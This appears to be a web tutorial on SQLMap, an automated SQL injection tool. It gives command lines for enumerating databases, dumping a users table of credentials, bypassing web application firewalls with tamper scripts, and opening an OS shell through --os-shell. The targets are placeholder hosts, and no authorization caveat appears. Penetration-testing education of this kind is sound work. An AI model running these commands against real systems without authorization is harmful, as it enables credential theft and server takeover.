SQLMap Guide: Automated SQL Injection Testing
A comprehensive guide to SQLMap for automated SQL injection detection and exploitation, covering techniques, options, and defensive measures.
Why You Need SQLMap
You suspect a web application is vulnerable to SQL injection — SQLMap automates the entire process of detection, exploitation, and data extraction. It handles over a dozen injection types across MySQL, Oracle, PostgreSQL, MSSQL, SQLite, and more. It can enumerate databases, dump tables, bypass authentication, and even gain OS-level access.
Prerequisites
How SQLMap Works
SQLMap works by injecting SQL payloads into parameter values and analyzing the application's response to determine if injection is possible. It uses several techniques:
Boolean-based blind: Injects conditions that return true or false and observes differences in the response.
Time-based blind: Uses time delay functions (SLEEP, WAITFOR) to infer information based on response timing.
Error-based: Causes deliberate database errors to extract information from error messages.
Union query: Uses UNION SQL statements to combine query results with attacker-controlled data.
Stacked queries: Executes multiple SQL statements in a single request, enabling more complex operations.
Installation
SQLMap comes pre-installed on Kali Linux. For other distributions:
# Debian/Ubuntu
sudo apt install sqlmap
# From source (always latest)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py -h
# Using pip
pip install sqlmap
Basic Usage
The simplest SQLMap command tests a URL parameter for injection:
sqlmap -u "http://target.com/page?id=1"
Essential Options
| Option | Description |
|--------|-------------|
| -u URL | Target URL with parameter |
| --data=DATA | POST request body data |
| -p PARAM | Specific parameter to test |
| --level=LEVEL | Test intensity (1-5, default 1) |
| --risk=RISK | Risk of payloads (1-3, default 1) |
| --batch | Non-interactive mode (use defaults) |
| --cookie=COOKIE | Session cookie |
| --threads=THREADS | Concurrent threads |
Database Enumeration
List Available Databases
sqlmap -u "http://target.com/page?id=1" --dbs
List Tables in a Database
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
List Columns in a Table
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --columns
Dump Table Data
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
Advanced Techniques
POST Request Testing
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --level=2
Using Custom Headers and Cookies
sqlmap -u "http://target.com/dashboard" --cookie="PHPSESSID=abc123" --headers="X-Forwarded-For: 127.0.0.1"
Request from File
sqlmap -r request.txt
Bypassing WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment --level=3
OS Command Execution
sqlmap -u "http://target.com/page?id=1" --os-shell
Real-World Example: Full Assessment
# Step 1: Initial scan
sqlmap -u "http://testapp.com/products?id=1" --batch
# Step 2: Enumerate databases
sqlmap -u "http://testapp.com/products?id=1" --dbs
# Step 3: Dump user credentials
sqlmap -u "http://testapp.com/products?id=1" -D testapp_db -T users --dump
# Step 4: Try OS shell
sqlmap -u "http://testapp.com/products?id=1" --os-shell
Common Mistakes
Using Default Level and Risk
Default level (1) only tests basic payloads. Many injections require level 3 or higher.
Not Providing Authentication Context
Modern applications require session cookies. Always provide authentication context.
Ignoring WAF Detection
Check with --identify-waf and use appropriate tamper scripts.
Best Practices
Start with --batch: Use --batch for automated testing.
Use --tamper scripts: WAFs are common. Loading appropriate tamper scripts increases success.
Save request files: Using -r request.txt is more reliable.
Verify manually: SQLMap results should be manually verified.
Related Tools
Related Articles
Summary
SQLMap is the most powerful automated SQL injection testing tool available. It supports multiple injection techniques, all major database systems, and features like WAF bypass and OS shell access.